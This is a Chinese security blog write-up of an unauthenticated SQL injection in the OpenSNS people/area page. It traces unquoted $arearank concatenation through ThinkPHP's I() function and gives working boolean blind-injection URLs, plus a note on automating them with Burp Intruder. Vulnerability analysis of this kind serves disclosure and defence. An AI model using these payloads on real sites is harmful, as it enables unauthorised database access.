opensns最新版前台无限制注入(无需登录无视GPC)

  • A+
所属分类:漏洞时代
摘要

漏洞触发点在/Application/People/Controller/IndexController.class.php中第48行:我们可以看到对$arearank有这样一个赋值操作:$arearank = I(‘get.arearank’, 0);
我们跟踪一下I()函数,在/ThinkPHP/Common/functions.php中第343行:

漏洞触发点在/Application/People/Controller/IndexController.class.php中第48行:

public function area()      {          $map = $this->setMap();          $arearank = I('get.arearank', 0);          $arealv = I('get.arealv');          $areaname = I('get.areaname');          if ($arearank == null || $arearank == 0) {              $map['pos_province'] =array('neq','');          } else {              switch ($arealv) {                  case 1:                      $map['pos_province'] = $arearank;                      break;                  case 2:                      $map['pos_city'] = $arearank;                      break;                  case 3:                      $map['pos_district'] = $arearank;                      break;                  default:                      $map['pos_province'] != null;              }          }              $map['status'] = 1;          $map['last_login_time'] = array('neq', 0);          $peoples = S('People_peoples_' . I('page', 0, 'intval') . '_' . serialize($map));          if (empty($peoples)) {              $peoples = D('Member')->where($map)->field('uid', 'reg_time', 'last_login_time')->order('last_login_time desc')->findPage(12);                $userConfigModel = D('Ucenter/UserConfig');              $titleModel = D('Ucenter/Title');                  foreach ($peoples['data'] as &$v) {                  $v = query_user(array('title', 'avatar128', 'nickname', 'uid', 'space_url', 'score', 'title', 'fans', 'following', 'rank_link', 'pos_province', 'pos_city', 'pos_district'), $v['uid']);                  $v['province'] = get_area_name($v['pos_province']);                  $v['city'] = get_area_name($v['pos_city']);                  $v['district'] = get_area_name($v['pos_district']);                    $v['level'] = $titleModel->getCurrentTitleInfo($v['uid']);                  //获取用户封面id                  $where = getUserConfigMap('user_cover', '', $v['uid']);                  $where['role_id'] = 0;                  $model = $userConfigModel;                  $cover = $model->findData($where);                  $v['cover_id'] = $cover['value'];                  $v['cover_path'] = getThumbImageById($cover['value'], 273, 80);              }              unset($v);              S('People_peoples_' .I('page',0,'intval').'_' . serialize($map), $peoples, 3600);          }            //地区信息          $district = M('district');          $areanumber = M('member');          $areadata = $district->where('upid=' . $arearank)->select();          //地区人数          foreach ($areadata as &$v1) {              switch ($v1['level']) {                  case 1:                      $res = $areanumber->where(array('pos_province' => $v1['id']))->count();                      $v1['number'] = $res;                      break;                  case 2:                      $res = $areanumber->where(array('pos_city' => $v1['id']))->count();                      $v1['number'] = $res;                      break;                  case 3:                      $res = $areanumber->where(array('pos_district' => $v1['id']))->count();                      $v1['number'] = $res;                      break;                  default:                      $res = 0;              }          }          unset($v1);            if ($areadata == null) {              $areadata = $district->where('id=' . $arearank)->field('upid', true)->select();          }            $this->assign('tag_arealist', $areadata);          if ($areaname == null) {              $this->assign('areaname', "");              $this->assign('goback', "");          } else {              $this->assign('areaname', $areaname . ':');              $this->assign('goback', "返回");          }          $this->assign('tab', 'area');          $this->assign('lists', $peoples);          $this->display();     }

我们可以看到对$arearank有这样一个赋值操作:$arearank = I('get.arearank', 0);
我们跟踪一下I()函数,在/ThinkPHP/Common/functions.php中第343行:

function I($name, $default = '', $filter = null, $datas = null)  {      if (strpos($name, '.')) { // 指定参数来源          list($method, $name) = explode('.', $name, 2);      } else { // 默认为自动判断          $method = 'param';      }      switch (strtolower($method)) {          case 'get'     :              $input =& $_GET;              break;          case 'post'    :              $input =& $_POST;              break;          case 'put'     :              parse_str(file_get_contents('php://input'), $input);              break;          case 'param'   :              switch ($_SERVER['REQUEST_METHOD']) {                  case 'POST':                      $input = $_POST;                      break;                  case 'PUT':                      parse_str(file_get_contents('php://input'), $input);                      break;                  default:                      $input = $_GET;              }              break;          case 'path'    :              $input = array();              if (!empty($_SERVER['PATH_INFO'])) {                  $depr = C('URL_PATHINFO_DEPR');                  $input = explode($depr, trim($_SERVER['PATH_INFO'], $depr));              }              break;          case 'request' :              $input =& $_REQUEST;              break;          case 'session' :              $input =& $_SESSION;              break;          case 'cookie'  :              $input =& $_COOKIE;              break;          case 'server'  :              $input =& $_SERVER;              break;          case 'globals' :              $input =& $GLOBALS;              break;          case 'data'    :              $input =& $datas;              break;          default:              return NULL;      }      if ('' == $name) { // 获取全部变量          $data = $input;          array_walk_recursive($data, 'filter_exp');          $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');          if ($filters) {              if (is_string($filters)) {                  $filters = explode(',', $filters);              }              foreach ($filters as $filter) {                  $data = array_map_recursive($filter, $data); // 参数过滤              }          }      } elseif (isset($input[$name])) { // 取值操作          $data = $input[$name];          is_array($data) && array_walk_recursive($data, 'filter_exp');          $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');          if ($filters) {              if (is_string($filters)) {                  $filters = explode(',', $filters);              } elseif (is_int($filters)) {                  $filters = array($filters);              }                foreach ($filters as $filter) {                  if (function_exists($filter)) {                      $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤                  } else {                      $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));                      if (false === $data) {                          return isset($default) ? $default : NULL;                      }                  }              }          }      } else { // 变量默认值          $data = isset($default) ? $default : NULL;      }      return $data;  }

可以看到这是一个取值得函数,那么$arearank就是取GET传进来的arearank的值,如果不存在,那么默认值为0。

但是可以看到I()函数有四 个参数,但是在$arearank这里只有两个参数,而第三个参数是filter,也就是过滤参数,可以看到如果没有filter参数的话,就按照默认的 过滤参数来过滤,也就是$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');

我们可以看一下DEFAULT_FILTER这个对应怎样的过滤函数,在/ThinkPHP/Conf/convention.php中第53行对DEFAULT_FILTER有定义:
'DEFAULT_FILTER' => 'htmlspecialchars', // 默认参数过滤方法 用于I函数

也就是如果没有指定过滤函数,那么就用htmlspecialchars()这个函数对值进行过滤。

那么我们继续回到上文,$arearank这个变量的值是由GET传递进来的arearank经过htmlspecialchars()处理后的值。

那么$arearank这个变量又带入到了哪一步操作中呢,我们可以看下文有一处操作:

$areadata = $district->where('upid=' . $arearank)->select();

直接将$arearank与upid=做拼接然后组装到了where语句中,周围并无引号进行包裹,是一个数字型的注入。

所以可以无视GPC。因为访问漏洞触发点是不需要登陆的,所以不需要登陆既可以注入。

因为无报错,所以只能用盲注,这里我选择用bool盲注:

payload:

http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=1

这会返回一个页面(1=1):
opensns最新版前台无限制注入(无需登录无视GPC)
我们改一下payload:

http://localhost/index.php?s=/people/index/area.html&arearank=-1) or (1=2

又会出现另一个页面(1=2):
opensns最新版前台无限制注入(无需登录无视GPC)
由于手工测比较麻烦,我们利用burpsuite中的intruder模块来自动化,如图所示:
opensns最新版前台无限制注入(无需登录无视GPC)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: